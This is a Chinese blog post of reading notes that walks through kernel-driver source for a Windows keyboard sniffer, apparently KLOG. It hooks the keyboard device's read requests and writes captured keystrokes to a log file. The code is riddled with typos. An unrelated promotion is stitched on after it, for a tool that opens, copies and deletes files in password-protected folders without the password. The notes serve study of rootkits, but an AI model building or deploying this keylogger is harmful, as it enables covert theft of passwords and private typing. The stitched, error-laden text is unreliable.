读书笔记_键盘嗅探器(2)

为处理READ请求而调用的例程是DispatchRead。下面具体分析该函数:

NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)

{

   当一个READ请求到达键盘控制器时,就调用该函数。这时IRP中并没有可用的数据。相反我们希望在捕获了击键动作之后查看IRP——当IRP正在沿着设备链向上传输时。

关于IRP已经完成的唯一通知方式是设置完成例程,如果没有设置完成例程,则当IRP沿着设备链上返回是会忽略我们的存在。

将IRP传递给链中次底层设备时,需要设置IRP堆栈指针(stack pointer).术语堆栈在此处容易产生误解:每个设备只是在每个IRP中有一段私有的可用内存。这些私有区域以指定顺序排列。通过IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation调用来获取这些私有区域的指针,在传递IRP之前,一个“当前”指针必须指向低层驱动程序的私有区域,因此,在调用IoCallDriver之前要调用IoCopyCurrentIrpStackLocationToNext;

// Copy parameters down to next level in the stack

// for the driver below us

IoCopyCurrentIrpStackLocationToNext(pIrp);

// Note that the completion routine is named “OnReadCompleion”:

// Set the completion callback

IoSetCompletionRoutine(pIrp,

                OnReadCompletion,

                pDeviceObject,

                 TRUE,

                 TRUE,

                 TRUE);

  将挂起的IRP数目记录下来,以便等处理完成后再卸载驱动程序

// Track the # of pending IRPs

  numPendingIrps++;

最后通过IoCallDriver将IRP传递给链中的次底层设备,记住指向低层次设备的指针存储在Device_Extension中的pKeyboardDevice中。

// Pass the IRP on down to \the driver underneath us

Return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)

->pKeyboardDevice, pIrp);

}// end DispatchRead

现在可以看到,每个READIRP在处理之后可用于OnReadCompletion例程中。进一步对比加以分析:

NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,

                         INPRP pIrp, IN PVOID Context)

{

   // Get the device extension– we’ll need to use it later

   PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

检查IRP状态,它可以当作返回码或错误码,该值为STATUS_SUCCESS表明IRP已成功完成并且应该记录了击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构的数组。IoStatus.Information成员包含了该数组的长度:

If(pIrp->IoStatus.Status == STATUS_SUCCESS)

{

   PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);

KEYBOARD_INPUT_DATA结构定义如下:

Typedef struct _KEYBOARD_INPUT_DATA{

USHORT UnitId;

USHORT MakeCode;

USHORT Flags;

USHORT Reserved;

ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

然后示例程序循环遍历所有的数组成员,从每个成员中获取击键动作:

For(int I = 0; I < numkeys; i++)

{

    DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);

注意会收到两个事件:键按下和键释放。对于简单的击键监视器来说,只需关注其中一个事件,KEY_MAKE是一个重要标志。

If(keys[i].Flags == KEY_MAKE)

DbgPrint(“%s\n”, “Key Down”)l

上述完成例程在IRQL级别DISPATCH_LEVEL上执行,这意味着它不允许文件操作,为了避开这个限制,示例程序通过一个共享链表将击键动作传递给worker线程。对该链表的访问必须采用关键段来同步。内核实施以下规则:一次只能有一个线程执行关键段。此处不能使用延迟过程调用(Deferred Procedure Call, DPC),因此DPC也运行在DISPATCH_LEVEL级别上。

驱动程序分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入链表中。因为运行在DISPATCH级别上,所以只能从NonPagedPool中分配内存。

 KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));

// Fill in kData structure with info from IRP

kData->KeyData = (char)keys[i].MakeCode;

kData->KeyFlags=(char)keys[i].Flgas;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file

DbgPrint(“Adding IRP to work queue…”);

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,

            &pKeyboardDeviceExtension->lockQueue);

// The semaphore is incremented to indicate that some data needs tobe processed

// Increment the semaphore by 1 – no WaitForXXX after this call

KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,

                        0,

                        1,

FALSE);

}

}

If(pIrp->PendingReturned)

 IoMarkIrpPending(pIrp);

 

     示例完成了对IRP的处理,将IRP计数递减

 numPendingIrps- -;

return pIrp->IoStatus.Status;

}

此时在链表中已保存了一个击键动作,它用于worker线程,下面介绍worker线程的例程:

VOID ThreadKeyLogger ( IN PVOID pContext)

{

       PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;

       PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

PLIST_ENTRY pListEntry;

KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list

KLOG进入一个处理循环。代码通过KeWaitForSingleObject等待信号量。若信号量递增,则处理循环继续运行

While(true)

{

   // Wait for data to becomeavailable in the queue

KeWaitForSingleObject(

             &pKeyboardDeviceExtension->semQueue,

              Executive,

              KernelMode,

              FALSE,

              NULL);

从链表中安全删除了最高端项。注意关键段的用法:

pListEntry = ExInterlockedRemoveHeadList(

               &pKeyboardDeviceExtension->QueueListHead,

              &pKeyboardDeviceEntension->lockQueue);

内核线程不能从外部终止,它们只能终止自身。KLOG检查一个标志以判断是否应该终止worker线程。该操作应该只放生在卸载KLOG时。

If(pKeyboardDeviceExtension->bThreadTerminate == true)

{

   PsTerminateSystemThread(STATUS_SUCCESS);

}

必须使用CONTAINING_RECORD宏来获得指向pListEntry结构中数据的指针:

kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);

KLOG获取扫描码并将其转换成键盘码。这通过ConvertScanCodeToKeyCode工具函数完成,该函数只识别美国英语键盘布局,尽管它很容易替换为适用于其他键盘布局的代码。

// Convert the scan code to a key code

Char keys[3] = {0};

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);

// Make sure the key has returned a valid code

// before writing it to the file

If (keys != 0)

{

   若文件句柄是有效的,则使用ZwWriteFile将键盘盘码写入日志:

// Write the data out to a file

If(pKeyboardDeviceExtension->hLogFile != NULL)

{

    IO_STATUS_BLOCK  io_status;

    NTSTATUS status =ZwWriteFile(

                       pKeyboardDeviceExtension->hLogFile,

                        NULL,

                        NULL,

                        NULL,

                       &io_status,

                       &keys,

                        Strlen(keys),

                        NULL,

                        NULL);

If(status != STATUS_SUCCESS)

    DbgPrint(“Writing scancode to file…\n”);

Else

    DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);

}// end if

}// end if

}// end while

Return;

} // end ThreadLogKeyboard

以上是KLOG的主要操作。下面分析Unload例程

VOID Unload ( IN PDRIVER_OBJECT pDriverObject)

{

   // Get the pointer to thedevice extension

   PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

DbgPrint(“Driver Unload Called… \n”);

驱动程序必须使用IoDetachDevice函数取下分层设备的钩子:

// Detach from the device underneath that we’re hooked to.

IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

DbgPrint(“Keyboard hook detached from device…\n”);

下面使用了一个定时器,KLOG进入一个短循环,直到所有IRP完成处理:

// Create a timer

KTIMER kTimer;

LARGE_INTEGER timeout;

Timeout.QuadPart = 1000000;

KeInitializeTimer(&kTimer);

在某个IRP正在等待击键动作,则直到按下一个键后卸载才能完成:

While(numPendingIrps > 0)

{

   // Set the timer

   KeSetTimer(&kTimer, timeout,NULL);

   KeWaitForSingleObject(

             &kTimer,

             Executive,

             KernelMode,

             False,

             NULL);

}

此时KLOG指示worker线程应该终止:

// Set our key logger worker thread to terminate

pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after thiscall

KeReleaseSemaphore(

           &pKeyboardDeviceExtension->semQueue,

            0,

            1,

            TRUE);

KLOG使用线程指针调用KeWaitForSingleObject, 一直等候到该线程已终止:

// Wait until the worker thread terminates

DbgPrint(“Waiting for key logger thread to terminate…\n”);

KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

                    Executive,

                   KernelMode,

                    False,NULL);

DbgPrint(“Key logger thread terminated\n”);

最后关闭日志文件:

// close the log file

ZwClose(pKeyboardDeviceExtension->hLogFile);

还执行一些适当的常规清理动作:

// Delete the device

IoDeleteDevice(pDriverObject->DeviceObject);

DbgPrint(“Tagged IRPs dead … Terminating ...\n”);

Return;

}

键盘嗅探器结束。
  如果您使用某些文件夹加密软件加密了文件夹,而又不小心忘记了密码该怎么办呢?别着急,您可以试试本软件,也许几秒钟她就帮您找回来了,当然,如果您的重要文档确实已被删除了,那您可以试试一些文件反删除工具,如果还是不行的话,那就只能--哭吧!本软件可以不用密码扫描并提取出以上各种加密软件所加密或隐藏的文件夹内的文件,也可以不用密码复制、移动、删除和重命名加密件夹中的文件。由此您也应该看得出那些加密软件的加密效果如何了。   由于本软件可以不用任何密码访问、修改、删除网上各种文件夹加密/隐藏/伪装软件所加密或隐藏的文件夹内容,所以请您不要用此软件去侵犯他人的隐私和删改他人的文件,否则造成的一切不良后果或法律责任,将由软件使用者自行承担!   操作指南:   非常简单,只要点击“开始扫描”->选择加密文件所在的驱动器或文件夹->自动扫描并找到隐藏/加密的文件->复制(移动)到恢复文件夹   如果加密的文件被更名了,您可以用“测试文件类型”功能测试出实际的文件类型。如果软件不能扫描文件夹,请关闭加密软件再行扫描 一、主要功能   1、显示所有驱动器(包括隐藏驱动器)上的文件及文件夹。   2、不用密码访问并恢复各种以隐藏方式加密的文件或文件夹。   3、访问并复制各种仿设备名文件夹的内容。   4、访问并复制各种私人密盘文件夹内内容。   5、访问并复制各种伪装型文件夹的内容。   6、恢复部分被删除的文件。 二、使用帮助 1、标记为红色的文件夹一般为隐藏/加密/特殊文件夹,请在这些文件夹中找您加密的文件。   2、对于部分无法通过剪贴板复制、剪切的文件或文件夹,请通过“保存到...” 功能将文件以直接读扇区的方式复制出来。   3、如果保存文件时出现I/O错误,请先确认保存的文件中是否有显示为“???”的Unicode文件,请先将其重命名为合法文件名后再行保存,重命名功能并未更改文件的真实名称。   4、该压缩文件下有两个版本:3.51为Driver Rescue内核特别版,不支持NTFS分区格式;2.51是支持NTFS的版本。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值